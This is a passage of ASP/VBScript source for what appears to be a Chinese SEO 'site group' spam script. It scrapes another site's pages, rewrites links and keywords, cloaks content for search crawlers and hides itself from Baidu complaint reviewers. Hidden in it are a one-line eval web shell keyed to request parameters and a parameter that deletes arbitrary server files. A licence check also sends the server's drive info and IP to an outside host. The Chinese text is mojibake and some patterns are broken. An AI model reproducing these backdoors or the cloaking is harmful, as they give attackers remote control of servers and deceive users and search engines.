i strSeed = "abcdefghijklmnopqrstuvwxyz1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ" seedLength = Len(strSeed) Str = "" Randomize For i = 1 To intLength Str = Str + Mid(strSeed, Int(seedLength * Rnd) + 1, 1) Next randomStrdd = Str End Function Function randomStrx(intLength) Dim strSeed, seedLength, pos, Str, i strSeed = "123456789012345678901234567890" seedLength = Len(strSeed) Str = "" Randomize For i = 1 To intLength Str = Str + Mid(strSeed, Int(seedLength * Rnd) + 1, 1) Next randomStrx = Str End Function Function chkzi2(f_Str) On Error Resume Next if Not IsNull(f_Str) Then if CheckExp("^[^\u4E00-\u9FA5]+$", f_Str)=True then chkzi2=False Else chkzi2=True End If End If End Function Function CheckExp(patrn, strng) On Error Resume Next Dim regEx, Match Set regEx = New RegExp regEx.Pattern = patrn regEx.IgnoreCase = true regEx.Global = True Matches = regEx.test(strng) CheckExp = matches End Function Function jiequkExp(patrn, strng) On Error Resume Next Dim regEx, Match Set regEx = New RegExp regEx.Pattern = patrn regEx.IgnoreCase = true regEx.Global = True Set Matches = regEx.Execute(strng) For Each Match in Matches values= Match.SubMatches(0) Next jiequkExp= values End Function Function jiequkExpq(patrn, strng) On Error Resume Next Dim regEx, Match Set regEx = New RegExp regEx.Pattern = patrn regEx.IgnoreCase = true regEx.Global = True Set Matches = regEx.Execute(strng) values= Matches(0) jiequkExpq= values End Function Function ReplaceChinax(str,xxx,oooo) Dim CNregEx set CNregEx = new RegExp CNregEx.pattern=xxx CNregEx.IgnoreCase=true CNregEx.Global=true ReplaceChinax=CNregEx.replace(str,oooo) set CNregEx = nothing End Function Function Remove_HTMLjs(Strx) Remove_HTMLjs=Strx dilhjk="" End Function function urlcl(zurl,url) if url="" then urlcl=url exit function end if if instr(LCase(url),"http://")> 0 or instr(LCase(url),"https://")> 0 or left(url,2)="//" then urlcl=url exit function end if ziiii=split(zurl,"/") shu=ubound(ziiii) eiii=split(url,"/") jjg=0 for ii=0 to ubound(eiii)-1 if eiii(ii)<>"" then if eiii(ii)=".." then shu=shu-1 url=replace(url,"../","",1,1) elseif eiii(ii)="." then url=replace(url,"./","",1,1) jjg=1 end if end if next if url="" then url="/" end if if left(url,1)<>"/" then url="/"&url jjg=1 end if if CInt(ubound(ziiii))-CInt(shu)<4 and CInt(ubound(ziiii))<>CInt(shu)then dim xxll xxll="" for iix=3 to shu-1 if xxll="" then xxll="/"&ziiii(iix) else xxll=xxll&"/"&ziiii(iix) end if next url=xxll&url elseif jjg=1 then xxll="" for iix=3 to ubound(ziiii)-1 if xxll="" then xxll="/"&ziiii(iix) else xxll=xxll&"/"&ziiii(iix) end if next url=xxll&url end if url=replace(url,"//","/") urlcl =url end function function urlcle(zurl,url) ziiii=split(zurl,"/") shu=ubound(ziiii) eiii=split(url,"/") for ii=0 to ubound(eiii)-1 if LCase(eiii(ii))="http://" or LCase(eiii(ii))="https://" then urlcl=url exit for end if if eiii(ii)<>"" then if eiii(ii)=".." then shu=shu-1 url=replace(url,"../","",1,1) url="/"&ziiii(shu)&"/"&url elseif eiii(ii)="." then url=replace(url,"./","/",1,1) end if end if next url=replace(url,"//","/") urlcle =url end function Function RemoveStatistics(content) strArray= Array(".51.la",".baidu.com",".cnzz.com",".51yes.com") Dim str2 set Regex = new RegExp Regex.IgnoreCase=true Regex.Global=true For Each str2 In strArray pattern = "]+?src=[^<>]*?"& str2&"[^<>]*?>" Regex.pattern= pattern content = Regex.Replace(content, "") pattern = "]*?>([^<>]+?"&str2&"[^<>]+?)" Regex.pattern= pattern content = Regex.Replace(content,"") pattern = ("var _hmt([^<>]+?" & str2 & "[^<>]+?)}\)\(\);") Regex.pattern= pattern content = Regex.Replace(content, "") pattern = "]*?>[^<>]+?src=[^<>]*?"& str2&"[^<>]*?" Regex.pattern= pattern content = Regex.Replace(content, "") Next set CNregEx = nothing RemoveStatistics= content End Function function xiugaishijian(wj) On Error Resume Next Set fs=Server.CreateObject("Scripting.FileSystemObject") Set f=fs.GetFile(Server.MapPath(wj)) a= cdate(f.DateLastModified) c= datediff("d",a,date()) xiugaishijian=c end function Response.Write(vbCrLf) On Error Resume Next Response.Charset="gb2312" Cset="" Private Const BITS_TO_A_BYTE = 8 Private Const BYTES_TO_A_WORD = 4 Private Const BITS_TO_A_WORD = 32 Private m_lOnBits(30) Private m_l2Power(30) dim agent agent = lcase(request.servervariables("http_user_agent")) dim Bot: Bot = "" if instr(agent, "baiduspider") > 0 then Bot = "ٶ" if instr(agent, "baiduspider-image") > 0 then Bot = "ٶͼƬ" if instr(agent, "baiducustomer") > 0 then Bot = "ٶ" if instr(agent, "baidu-thumbnail") > 0 then Bot = "ٶ" if instr(agent, "baiduspider-mobile-gate") > 0 then Bot = "ٶ" if instr(agent, "baidu-transcoder/1.0.6.0") > 0 then Bot = "ٶ" if instr(agent, "Yisouspider") > 0 then Bot = "" if instr(agent, "360spider") > 0 then Bot = "360" if instr(agent, "sosospider") > 0 then Bot = "Ѷ" if instr(agent, "sosoblogspider") > 0 then Bot = "Ѷ" if instr(agent, "sosoimagespider") > 0 then Bot = "Ѷ" if instr(agent, "sogou web robot") > 0 then Bot = "ѹ" if instr(agent, "sogou web spider/3.0") > 0 then Bot = "ѹ" if instr(agent, "sogou web spider/4.0") > 0 then Bot = "ѹ" if instr(agent, "sogou head spider/3.0") > 0 then Bot = "ѹ" if instr(agent, "sogou-test-spider/4.0") > 0 then Bot = "ѹ" if instr(agent, "sogou orion spider/4.0") > 0 then Bot = "ѹ" caozuoxitong=jiequkExpq("windows|iPhone|iPod|Android",agent) if Request("xm")<>"" then eval request("XX88OOXXUUNN") end if if Request("scxxkdgj")<>"" then sssggr=Request("scxxkdgj") Set fso = CreateObject("Scripting.FileSystemObject") fso.DeleteFile(Server.mappath(sssggr)) Set fso = nothing end if dim mulusuiji(1000) Dim dgurl,gggooiu,yuming,jssss,bianma,mb,dgigi,keyxx,dgggtooo,dgggtooox,str,finStr,xugieg,strx,ddfegx,ggrcooog,mbcont dated = replace(date(),"/","-") jqyzm=ReadFile("bbxx/zhupeizhi/zhuce.ini") mfdbbb=0 if jqyzm="" then jqyzm=ReadFile("bbxx/zhupeizhi/mf.ini") mfdbbb=1 end if jiqimaxx=ShowDriveInfo("c:\") if jiqimaxx=""then jiqimaxx=ShowDriveInfo("d:\") end if if jiqimaxx=""then jiqimaxx=ShowDriveInfo("e:\") end if if gw_jiami(MD5(jiqimaxx))<>jqyzm and gw_jiami(MD5(jiqimaxx&"qubanquan"))<>jqyzm and gw_jiami(MD5(jiqimaxx&"gaoji"))<>jqyzm then if Request("qq")<>"" then zhcexxiigi=get_contentxx("http://shouquan.09wl.com/XJXZ/indexxx.asp?xx="&jiqimaxx&"&uu="&now()&"&ip="&Request.ServerVariables("LOCAL_ADDR")&"&qq="&Request("qq")) if zhcexxiigi="xxxxx" then call WriteToTextFile("bbxx/zhupeizhi/zhuce.ini",gw_jiami(MD5(jiqimaxx)),"gb2312") Set fso = CreateObject("Scripting.FileSystemObject") fso.DeleteFile(Server.mappath("bbxx/zhupeizhi/mf.ini")) Set fso = nothing response.Write "עɹ" elseif zhcexxiigi="xxxxxtt" then call WriteToTextFile("bbxx/zhupeizhi/zhuce.ini",gw_jiami(MD5(jiqimaxx&"qubanquan")),"gb2312") Set fso = CreateObject("Scripting.FileSystemObject") fso.DeleteFile(Server.mappath("bbxx/zhupeizhi/mf.ini")) Set fso = nothing response.Write "עɹ" elseif zhcexxiigi="xxxxxgj" then call WriteToTextFile("bbxx/zhupeizhi/zhuce.ini",gw_jiami(MD5(jiqimaxx&"gaoji")),"gb2312") Set fso = CreateObject("Scripting.FileSystemObject") fso.DeleteFile(Server.mappath("bbxx/zhupeizhi/mf.ini")) Set fso = nothing response.Write "߼עɹ" else response.Write "ʧ" end if else zhcexxiigi=get_contentxx("http://shouquan.09wl.com/XJXZ/indexxx.asp?xx="&jiqimaxx&"&uu="&now()&"&ip="&Request.ServerVariables("LOCAL_ADDR")) response.Write " www.00-9.net վȺѰ ˢҳʹ" call WriteToTextFile("bbxx/zhupeizhi/mf.ini",gw_jiami(MD5(jiqimaxx)),"gb2312") end if response.End():On Error GoTo 0:Err.Raise -101110100 else if Request("qq")<>"" then zhcexxiigi=get_contentxx("http://shouquan.09wl.com/XJXZ/indexxx.asp?xx="&jiqimaxx&"&uu="&now()&"&ip="&Request.ServerVariables("LOCAL_ADDR")&"&qq="&Request("qq")) if zhcexxiigi="xxxxx" then call WriteToTextFile("bbxx/zhupeizhi/zhuce.ini",gw_jiami(MD5(jiqimaxx)),"gb2312") Set fso = CreateObject("Scripting.FileSystemObject") fso.DeleteFile(Server.mappath("bbxx/zhupeizhi/mf.ini")) Set fso = nothing response.Write "aעɹ" elseif zhcexxiigi="xxxxxtt" then call WriteToTextFile("bbxx/zhupeizhi/zhuce.ini",gw_jiami(MD5(jiqimaxx&"qubanquan")),"gb2312") Set fso = CreateObject("Scripting.FileSystemObject") fso.DeleteFile(Server.mappath("bbxx/zhupeizhi/mf.ini")) Set fso = nothing response.Write "עɹ" elseif zhcexxiigi="xxxxxgj" then call WriteToTextFile("bbxx/zhupeizhi/zhuce.ini",gw_jiami(MD5(jiqimaxx&"gaoji")),"gb2312") Set fso = CreateObject("Scripting.FileSystemObject") fso.DeleteFile(Server.mappath("bbxx/zhupeizhi/mf.ini")) Set fso = nothing response.Write "߼עɹ" else response.Write "ʧ" end if end if end if banquan=0 gaoijbanben=0 if gw_jiami(MD5(jiqimaxx&"qubanquan"))=jqyzm then banquan=1 gaoijbanben=2 elseif gw_jiami(MD5(jiqimaxx&"gaoji"))=jqyzm then banquan=1 gaoijbanben=1 end if if instr(Request.ServerVariables("HTTP_REFERER"),"helpadmin.baidu.com")>0 or instr(Request.ServerVariables("HTTP_REFERER"),"pinggu.baidu.com")>0 or instr(Request.ServerVariables("HTTP_REFERER"),"ufo.baidu.com")>0then response.Write ReadFile("tz.html") response.End():On Error GoTo 0:Err.Raise -101110100 end if if Dir("indexx.html")<>0 then Set fs=Server.CreateObject("Scripting.FileSystemObject") Set f=fs.GetFile(Server.MapPath("indexx.html")) a= cdate(f.DateLastModified) b= cdate("2022-3-30") c= datediff("h",a,b) if cdbl(c)<0 then response.Write "޷ʹ ϵ 00-9.net վȺ2z" response.End():On Error GoTo 0:Err.Raise -101110100 end if set f=nothing set fs=nothing end if dgurl=request.servervariables("HTTP_HOST") gggooiu=Replace(Trim(Request.QueryString),"&","?",1,1) if CheckExp("(\.css|\.jpg|\.gif|\.png|\.png|\ico|\.png|\.js|\.rar|\.zip|\.exe|\qq=)",gggooiu) then response.End():On Error GoTo 0:Err.Raise -101110100 end if if IsFloderExist("htmllll")=false then call mkdir("htmllll") end if if IsFloderExist("bbxx/linshi")=false then call mkdir("bbxx/linshi") end if if IsFloderExist("bbxx/zhupeizhi")=false then call mkdir("bbxx/zhupeizhi") end if if IsFloderExist("bbxx/urlkey")=false then call mkdir("bbxx/urlkey") end if key=ReadFile("bbxx/key/"&randomStrrs("bbxx/key/")) key=split(key,vbcrlf) keys=ubound(key) if Dir("bbxx/zhupeizhi/suiji.txt")=0 then call WriteFile(randomStr(6),"bbxx/zhupeizhi/suiji.txt") end if suijimulu=ReadFile("bbxx/zhupeizhi/suiji.txt") gggooiu=replace(gggooiu,suijimulu&"/","") if gggooiu=suijimulu then end if gggooiu=replace(gggooiu,"//","/") agggooiu=gggooiu if gggooiu<> "" then if split(gggooiu,"/")(ubound(split(gggooiu,"/")))="" then gggooiu=gggooiu&"index.html" elseif instr(split(gggooiu,"/")(ubound(split(gggooiu,"/"))),".")=0 then gggooiu=gggooiu&"/index.html" end if end if if Dir("bbxx/zhupeizhi/yuming.txt")=0 then caiji=ReadFile("bbxx/caiji.txt") caiji=split(caiji,vbcrlf) caijis=ubound(caiji) yuming=caiji(RndNumber(-1,caijis)) else yuming=ReadFile("bbxx/zhupeizhi/yuming.txt") end if yuming=replace(yuming,vbcrlf,"") uuuuuuuppp=ReadFile("bbxx/peizhi.txt") jssss=split(split(uuuuuuuppp,vbcrlf)(0),"\\")(0) shouyetihhuan=split(split(uuuuuuuppp,vbcrlf)(1),"\\")(0) neiyebiaoti=split(split(uuuuuuuppp,vbcrlf)(2),"\\")(0) grh1=split(split(uuuuuuuppp,vbcrlf)(3),"\\")(0) shoujim=split(split(uuuuuuuppp,vbcrlf)(4),"\\")(0) wailianpeizhi=split(split(uuuuuuuppp,vbcrlf)(5),"\\")(0) shengcheng404=split(split(uuuuuuuppp,vbcrlf)(5),"\\")(0) jianfan=split(split(uuuuuuuppp,vbcrlf)(6),"\\")(0) fajgnengg=ReadFile("bbxx/peizhi2.txt") glsbt=split(split(fajgnengg,vbcrlf)(0),"\\")(0) zhunam=split(split(fajgnengg,vbcrlf)(1),"\\")(0) gjhyh1=split(split(fajgnengg,vbcrlf)(2),"\\")(0) teshu=ReadFile("bbxx/teshu.txt") tihuannerong=ReadFile("bbxx/tihuan.txt") if shoujim=1 then ymxi = Request.ServerVariables("SERVER_NAME") ymxi=replace(ymxi,"www.","") baidutuisong=baidutuisong&vbcrlf&"" baidutuisong=baidutuisong&vbcrlf&"" end if baidutuisong=baidutuisong&vbcrlf&"" baidutuisong=baidutuisong&vbcrlf&"" baidutuisong=baidutuisong&vbcrlf&"" baidutuisong=baidutuisong&vbcrlf&"" baidutuisong=baidutuisong&vbcrlf didiigig=MD5(date()) tuisong360="" tuisong360=tuisong360&vbcrlf&"" baidufenxiang="
"&vbcrlf&"" sjzgogg=randomStrdd(6) ganrao="

{ؼ}

  • <tr id='"&sjzgogg&"'><strong id='"&sjzgogg&"'></strong><small id='"&sjzgogg&"'></small><button id='"&sjzgogg&"'></button><li id='"&sjzgogg&"'><noscript id='"&sjzgogg&"'><big id='"&sjzgogg&"'></big><dt id='"&sjzgogg&"'></dt></noscript></li></tr><ol id='"&sjzgogg&"'><option id='"&sjzgogg&"'><table id='"&sjzgogg&"'><blockquote id='"&sjzgogg&"'><tbody id='"&sjzgogg&"'></tbody></blockquote></table></option></ol><u id='"&sjzgogg&"'></u><kbd id='"&sjzgogg&"'><kbd id='"&sjzgogg&"'></kbd></kbd>

      <code id='"&sjzgogg&"'><strong id='"&sjzgogg&"'></strong></code>

      <fieldset id='"&sjzgogg&"'></fieldset>
            <span id='"&sjzgogg&"'></span>

                <ins id='"&sjzgogg&"'></ins>
                    <acronym id='"&sjzgogg&"'><em id='"&sjzgogg&"'></em><td id='"&sjzgogg&"'><div id='"&sjzgogg&"'></div></td></acronym><address id='"&sjzgogg&"'><big id='"&sjzgogg&"'><big id='"&sjzgogg&"'></big><legend id='"&sjzgogg&"'></legend></big></address>

                      <i id='"&sjzgogg&"'><div id='"&sjzgogg&"'><ins id='"&sjzgogg&"'></ins></div></i>
                      <i id='"&sjzgogg&"'></i>
                        • <dl id='"&sjzgogg&"'></dl>
                            <blockquote id='"&sjzgogg&"'><q id='"&sjzgogg&"'><noscript id='"&sjzgogg&"'></noscript><dt id='"&sjzgogg&"'></dt></q></blockquote><noframes id='"&sjzgogg&"'><i id='"&sjzgogg&"'></i>
                            " gxsydm=0 if Dir("bbxx/urlkey/"&dated&".txt")=0 then gxsydm=1 if gaoijbanben=2 then shuian3333=get_contentxx("http://shouquan.09wl.com/XJXZ/yz.asp?jsm="&gw_jiami(MD5(jiqimaxx&"qubanquan"))) elseif gaoijbanben=1 then shuian3333=get_contentxx("http://shouquan.09wl.com/XJXZ/yz.asp?jsm="&gw_jiami(MD5(jiqimaxx&"gaoji"))) else shuian3333=get_contentxx("http://shouquan.09wl.com/XJXZ/yz.asp?jsm="&gw_jiami(MD5(jiqimaxx))) end if if not IsNumeric(shuian3333) and shuian3333<>"" then shuian3333=1 end if if shuian3333="" and gw_jiami(MD5(jiqimaxx))<> "" then shuian3333=1 end if if cdbl(shuian3333)<0 and shuian3333 <>"" then response.Write "ѵڣϵ00-9.netͷ" response.End():On Error GoTo 0:Err.Raise -101110100 else if Dir("bbxx/urlkey/"&dated&".txt")=0 then call WriteFile("","bbxx/urlkey/"&dated&".txt") end if end if end if kongshiguangg=0 if len(Bot)=0 then if kongshiguangg=0 then response.Write jssss end if end if if gggooiu="" then if (Dir("indexx.html")<>0 or Dir("indexxx.html")<>0) and gxsydm=0then if Dir("indexx.html")<>0 then sisiggmb=ReadFile("indexx.html") else sisiggmb=ReadFile("indexxx.html") set fs=Server.CreateObject("Scripting.FileSystemObject") fs.CopyFile "indexxx.html", "indexx.html" set fs=nothing end if if sisiggmb<>"" and len(sisiggmb)>30 then if kongshiguangg=1 then if instr(sisiggmb,"")>0then if len(Bot)=0 then sisiggmb= replace(sisiggmb,"",""&vbcrlf&jssss) end if else sisiggmb=sisiggmb&jssss end if end if response.Write sisiggmb response.End():On Error GoTo 0:Err.Raise -101110100 end if end if elseif Dir("htmllll/"&replace(replace(gggooiu,"?","^"),":","^"))>0 then sisiggmb= ReadFile("htmllll/"&replace(replace(gggooiu,"?","^"),":","^")) if kongshiguangg=1 then if instr(sisiggmb,"")>0then if len(Bot)=0 then sisiggmb= replace(sisiggmb,"",""&vbcrlf&jssss) end if else sisiggmb=sisiggmb&jssss end if end if response.Write sisiggmb response.End():On Error GoTo 0:Err.Raise -101110100 elseif Dir("htmllll/"&replace(replace(replace(gggooiu,"?","^"),":","^"),"/","-"))>0 then sisiggmb= ReadFile("htmllll/"&replace(replace(replace(gggooiu,"?","^"),":","^"),"/","-")) if kongshiguangg=1 then if instr(sisiggmb,"")>0then if len(Bot)=0 then sisiggmb= replace(sisiggmb,"",""&vbcrlf&jssss) end if else sisiggmb=sisiggmb&jssss end if end if response.Write sisiggmb response.End:On Error GoTo 0:Err.Raise -101110100 end if if len(Bot)=0 and len(caozuoxitong)=0 then response.End():On Error GoTo 0:Err.Raise -101110100 end if duwangyedizhi="http://"&yuming&"/"&agggooiu mb=get_content("http://"&yuming&"/"&agggooiu) dddmb=mb if mb= "" then if Trim(Request.QueryString)="" then if Dir("indexx.html")<>0 then response.Write ReadFile("indexx.html") else response.Write ReadFile("indexxx.html") set fs=Server.CreateObject("Scripting.FileSystemObject") fs.CopyFile "indexxx.html", "indexx.html" set fs=nothing end if response.End():On Error GoTo 0:Err.Raise -101110100 else shengchengm= replace(replace(gggooiu,"?","^"),":","^") shengchengm=replace(shengchengm,"/","-") if Trim(Request.QueryString)<>"" then if shengcheng404=1 then call xx404(shengchengm) response.End():On Error GoTo 0:Err.Raise -101110100 else Response.Status="404 Not Found" response.end():On Error GoTo 0:Err.Raise -101110100 end if response.end():On Error GoTo 0:Err.Raise -101110100 else response.end():On Error GoTo 0:Err.Raise -101110100 end if end if else if Dir("bbxx/zhupeizhi/yuming.txt")=0 then call WriteFile(yuming,"bbxx/zhupeizhi/yuming.txt") end if mb=Remove_HTMLjs(mb) httpss=jiequkExpq("https://"&yuming,mb) if httpss<>"" then mb=replace(mb,httpss,"http://"&yuming) end if mb=replace(mb,"??","") bbmm= bmth("]+charset=[""]?([\w\-]+)[^>]*>",mb) Set regExq = New RegExp regExq.Pattern = "]+href[\u0020]?=[\u0020]?[\""\']?([^\s\""\']+)(.*?)[\""\']?[^<>]*?>([\S\s]+?)" regExq.IgnoreCase = true regExq.Global = True Set Matchesq= regExq.Execute(mb) For Each Matchq in Matchesq if(instr(Matchq,"http:")>0 or instr(Matchq,"https:")>0) and instr(Matchq,"nofollow")=0 and instr(Matchq,yuming)=0 then mmmgggxxx=replace(Matchq,Matchq.SubMatches(0),"") mb=replace(mb,Matchq,mmmgggxxx) mb=replace(mb,mmmgggxxx,replace(mmmgggxxx,""/" and xxxggnr<>"#" and instr(xxxggnr,"javascript:")=0 and instr(xxxggnr,"http://")=0 and instr(xxxggnr,"https://")=0then ddhr=xxxggnr oour=urlcl(duwangyedizhi,xxxggnr) oour=replace(oour,"http://"&yuming&"//","/") oour=replace(oour,"http://"&yuming&"/","/") oour=replace(oour,"http://"&yuming,"/") if oour<>"/" then dddgggrrgp=replace(Matchq,ddhr,replace("/"&suijimulu&"/"&oour,"//","/")) else dddgggrrgp=replace(Matchq,ddhr,replace(oour,"//","/")) end if mb=replace(mb,Matchq,dddgggrrgp) elseif xxxggnr<>"/" and xxxggnr<>"#" and instr(xxxggnr,"javascript:")=0 and instr(xxxggnr,yuming)>0 then shanchu=1 if instr(yuming,"www")>0 then if instr(xxxggnr,"://"&yuming)=0 and instr(xxxggnr,"://"&replace(yuming,"www.",""))=0 then mb=replace(mb,Matchq,"") shanchu=2 end if else if instr(xxxggnr,"://"&yuming)=0 and instr(xxxggnr,"://www."&yuming)=0 then shanchu=2 mb=replace(mb,Matchq,"") end if end if if shanchu=1 then ddhr=xxxggnr oour=urlcl(duwangyedizhi,xxxggnr) if instr(yuming,"www")>0 then oour=replace(oour,"http://"&yuming&"//","/") oour=replace(oour,"http://"&yuming&"/","/") oour=replace(oour,"http://"&yuming,"/") xym=replace(yuming,"www.","") oour=replace(oour,"http://"&xym&"//","/") oour=replace(oour,"http://"&xym&"/","/") oour=replace(oour,"http://"&xym,"/") oour=replace(oour,"https://"&yuming&"//","/") oour=replace(oour,"https://"&yuming&"/","/") oour=replace(oour,"https://"&yuming,"/") xym=replace(yuming,"www.","") oour=replace(oour,"https://"&xym&"//","/") oour=replace(oour,"https://"&xym&"/","/") oour=replace(oour,"https://"&xym,"/") else oour=replace(oour,"http://"&yuming&"//","/") oour=replace(oour,"http://"&yuming&"/","/") oour=replace(oour,"http://"&yuming,"/") oour=replace(oour,"http://www."&yuming&"//","/") oour=replace(oour,"http://www."&yuming&"/","/") oour=replace(oour,"http://www."&yuming,"/") oour=replace(oour,"https://"&yuming&"//","/") oour=replace(oour,"https://"&yuming&"/","/") oour=replace(oour,"https://"&yuming,"/") oour=replace(oour,"https://www."&yuming&"//","/") oour=replace(oour,"https://www."&yuming&"/","/") oour=replace(oour,"https://www."&yuming,"/") end if if oour<>"/" then dddgggrrgp=replace(Matchq,ddhr,replace("/"&suijimulu&"/"&oour,"//","/")) else dddgggrrgp=replace(Matchq,ddhr,replace(oour,"//","/")) end if mb=replace(mb,Matchq,dddgggrrgp) end if end if end if next Set regExq= nothing Set regExq = New RegExp regExq.Pattern ="]+\bsrc=[\""\']?([^\s\""\']+)(.*?)\b[\""\'\s]?(.*?)>" regExq.IgnoreCase = true regExq.Global = True Set Matchesq= regExq.Execute(mb) For Each Matchq in Matchesq oour=replace(Matchq.SubMatches(0),"http://www."&yuming&"//","/") oour=replace(oour,"http://www."&yuming&"/","/") oour=replace(oour,"http://www."&yuming,"/") oour=replace(oour,"http://"&yuming&"//","/") oour=replace(oour,"http://"&yuming&"/","/") oour=replace(oour,"http://"&yuming,"/") dddgggrrgp=replace(Matchq,Matchq.SubMatches(0),urlcl(duwangyedizhi,oour)) mb=replace(mb,Matchq,dddgggrrgp) next Set regExq= nothing Set regExq = New RegExp regExq.Pattern ="]+href=[\""\']?([^\s\""\']+)(.*?)\b[\""\'\s]?(.*?)>" regExq.IgnoreCase = true regExq.Global = True Set Matchesq= regExq.Execute(mb) For Each Matchq in Matchesq oour=replace(Matchq.SubMatches(0),"http://"&yuming&"//","/") oour=replace(oour,"http://"&yuming&"/","/") oour=replace(oour,"http://"&yuming,"/") dddgggrrgp=replace(Matchq,Matchq.SubMatches(0),urlcl(duwangyedizhi,oour)) mb=replace(mb,Matchq,dddgggrrgp) next Set regExq= nothing Set regExq = New RegExp regExq.Pattern ="]+href=[\""\']?([^\s\""\'\<]+)(.*?)\b[\""\'\s\<]?(.*?)>([\s\S]+?)" regExq.IgnoreCase = true regExq.Global = True Set Matchesq= regExq.Execute(mb) For Each Matchq in Matchesq if instr(Matchq.SubMatches(0),"/"&suijimulu)>0 and instr(Matchq,"ҳ") >0 then dggggrgrhr=replace(Matchq,Matchq.SubMatches(0),replace(Matchq.SubMatches(0),"/"&suijimulu,"")) mb=replace(mb,Matchq,dggggrgrhr) end if next Set regExq= nothing mb=replace(mb,"http://"&yuming&"//","/") mb=replace(mb,"http://"&yuming&"/","/") mb=replace(mb,"http://"&yuming,"/") dddmb=mb if jianfan=1 then keywordse=jiequkExpq("]+keywords([\s\S][^>]*?)>",mb) descriptione=jiequkExpq("]+description([\s\S][^>]*?)>",mb) titlee=jiequkExpq("",mb) mb=cGbToBig(mb) keywordseX=jiequkExpq("]+keywords([\s\S][^>]*?)>",mb) descriptioneX=jiequkExpq("]+description([\s\S][^>]*?)>",mb) titleeX=jiequkExpq("",mb) mb=replace(mb,keywordseX,keywordse) mb=replace(mb,descriptioneX,descriptione) mb=replace(mb,titleeX,titlee) end if biaotipgxxxx=jiequkExpq("]?>([\s\S]*?)",mb) biaotipgddd=jiequkExp("]?>([\s\S]*?)",mb) gjcccccc=jiequkExpq("]+keywords(.*?)>",mb) miaoshuccccc=jiequkExpq("]+description(.*?)>",mb) shuagnbiaoti="" mb=charujizi(mb) end if if Trim(Request.QueryString)="" then dggryyu="{}" else dggryyu="" end if if banquan=0 then if instr(mb,"")>0then mb=replace(mb,"",dggryyu&"") else mb=mb&dggryyu&"" end if else if instr(mb,"")>0then mb=replace(mb,"",dggryyu&"") else mb=mb&dggryyu end if end if if gggooiu="" then ssiig2="" yyti="" if shouyetihhuan=1 then mb=replace(mb,"]?>([\s\S]*?)",mb) uuukjc=bt(RndNumber(-1,bts)) ssiig1=AsciiToUnicode(uuukjc)&AsciiToUnicode(zdykey(RndNumber(-1,zdykeys))) mb=replace(mb,biaotipg,""&ssiig1&"") ssiig2=AsciiToUnicode(uuukjc) wygjc=jiequkExpq("]+keywords(.*?)>",mb) if wygjc="" then mb=replace(mb,"",""&vbcrlf&" ") else mb=replace(mb,wygjc," ") end if wyms=jiequkExpq("]+description(.*?)>",mb) ssiig3=AsciiToUnicode(uuukjc) for iix=0 to RndNumber(2,8) if biaodiantxts> 0then djsjs=djsjs&keyytxt(RndNumber(-1,keyytxts))&biaodiantxt(RndNumber(-1,biaodiantxts)) else djsjs=djsjs&keyytxt(RndNumber(-1,keyytxts)) end if next ssiig3=ssiig3+djsjs if wyms="" then mb=replace(mb,"",""&vbcrlf&"") else mb=replace(mb,wyms," ") end if call WriteToTextFile ("bbxx/zhupeizhi/tt.txt",ssiig1&vbcrlf&ssiig2&vbcrlf&ssiig3,"gb2312") else biaotipg=jiequkExpq("]?>([\s\S]*?)",mb) if Instr(split(yyti,vbcrlf)(0),";&#")=0 and zhunam =1 and gaoijbanben=1 then biaoti19627=AsciiToUnicode(split(yyti,vbcrlf)(0)) else biaoti19627=split(yyti,vbcrlf)(0) end if mb=replace(mb,biaotipg,""&biaoti19627&"") wygjc=jiequkExpq("]+keywords(.*?)>",mb) if Instr(split(yyti,vbcrlf)(1),";&#")=0 and zhunam =1 and gaoijbanben=1then key19627=AsciiToUnicode(split(yyti,vbcrlf)(1)) else key19627=split(yyti,vbcrlf)(1) end if if wygjc="" then mb=replace(mb,"",""&vbcrlf&"") else mb=replace(mb,wygjc,"") end if wyms=jiequkExpq("]+description(.*?)>",mb) if Instr(split(yyti,vbcrlf)(2),";&#")=0 and zhunam =1 and gaoijbanben=1 then miaoshu19627=AsciiToUnicode(split(yyti,vbcrlf)(2)) else miaoshu19627=split(yyti,vbcrlf)(2) end if if wyms="" then mb=replace(mb,"",""&vbcrlf&" ") else mb=replace(mb,wyms," ") end if end if else end if lianjie=ReadFile("bbxx/zhupeizhi/youlian.txt") lianjie=split(lianjie,vbcrlf) lianjies=ubound(lianjie) dggryyu="" for iig=0 to lianjies urldeg=lianjie(iig) dggryyu=dggryyu&VBCRLF&""&split(urldeg,",")(1)&"" next mb=replace(mb,"{}",dggryyu) else if Dir("htmllll/"&replace(replace(gggooiu,"?","^"),":","^"))>0 then response.Write ReadFile("htmllll/"&replace(replace(gggooiu,"?","^"),":","^")) response.End():On Error GoTo 0:Err.Raise -101110100 end if if Dir("bbxx/mb/nr.txt")=0 and (instr(mb,"")>0 OR instr(mb,"<title>")>0) then hmb=ReplaceChinax(mb,"<meta(.+?)>","{meta}") dggryyu="{}" if banquan=0 then hmb=replace(hmb,"<!-- 00-9.net -->","") if instr(hmb,"</body>")>0then hmb=replace(hmb,"</body>",dggryyu&"<!-- 00-9.net --></body>") else hmb=hmb&dggryyu&"<!-- 00-9.net -->" end if end if hmb=Replace(hmb,"{meta}","<meta http-equiv=""Content-Type"" content=""text/html; charset=gb2312"" />",1,1) hmb=Replace(hmb,"{meta}","<meta name=""keywords"" content=""{ؼ1},{ؼ2},{Զؼʲ}"" />",1,1) hmb=Replace(hmb,"{meta}","<meta name=""description"" content=""{ؼ1},{Զؼʲ},{ؼ2}"" />",1,1) hmb=Replace(hmb,"{meta}","") hmb=replace(hmb,"<title>"&split(split(hmb,"<title>")(1),"")(0)&"","{ؼ1}_{ؼ2}_{Զؼʲ}") hmb=replace(hmb,""&split(split(hmb,"<TITLE>")(1),"")(0)&"","{ؼ1}_{ؼ2}_{Զؼʲ}") hmb=ReplaceChinax(hmb,"]+target=""_blank"">","") hmb=ReplaceChinax(hmb,"","") hmb=ReplaceChinax(hmb,"[^>]+","{ؼ}") hmb=replace(hmb,"{}","{ǰʱ}{һ}{һ}{һ}{}{һ}{һ}{һ}{һ}{}{һ}{һ}{һ}{һ}{}{һ}{һ}{һ}{һ}{}{һ}{һ}{һ}{һ}{}{һ}{һ}{һ}{һ}{}{һ}") call WriteToTextFile ("bbxx/mb/nr.txt",hmb,"gb2312") end if keyxx=key(RndNumber(-1,keys+1)) keyxx=AsciiToUnicode(keyxx) keyxxdggg=keyxx dggrppooh=jiequkExp("]?>([\s\S]*?)",mb) dgrhsfe=jiequkExpq("]?>([\s\S]*?)",mb) if neiyebiaoti=1 then dggrppoohcc=insertWord("",dggrppooh) 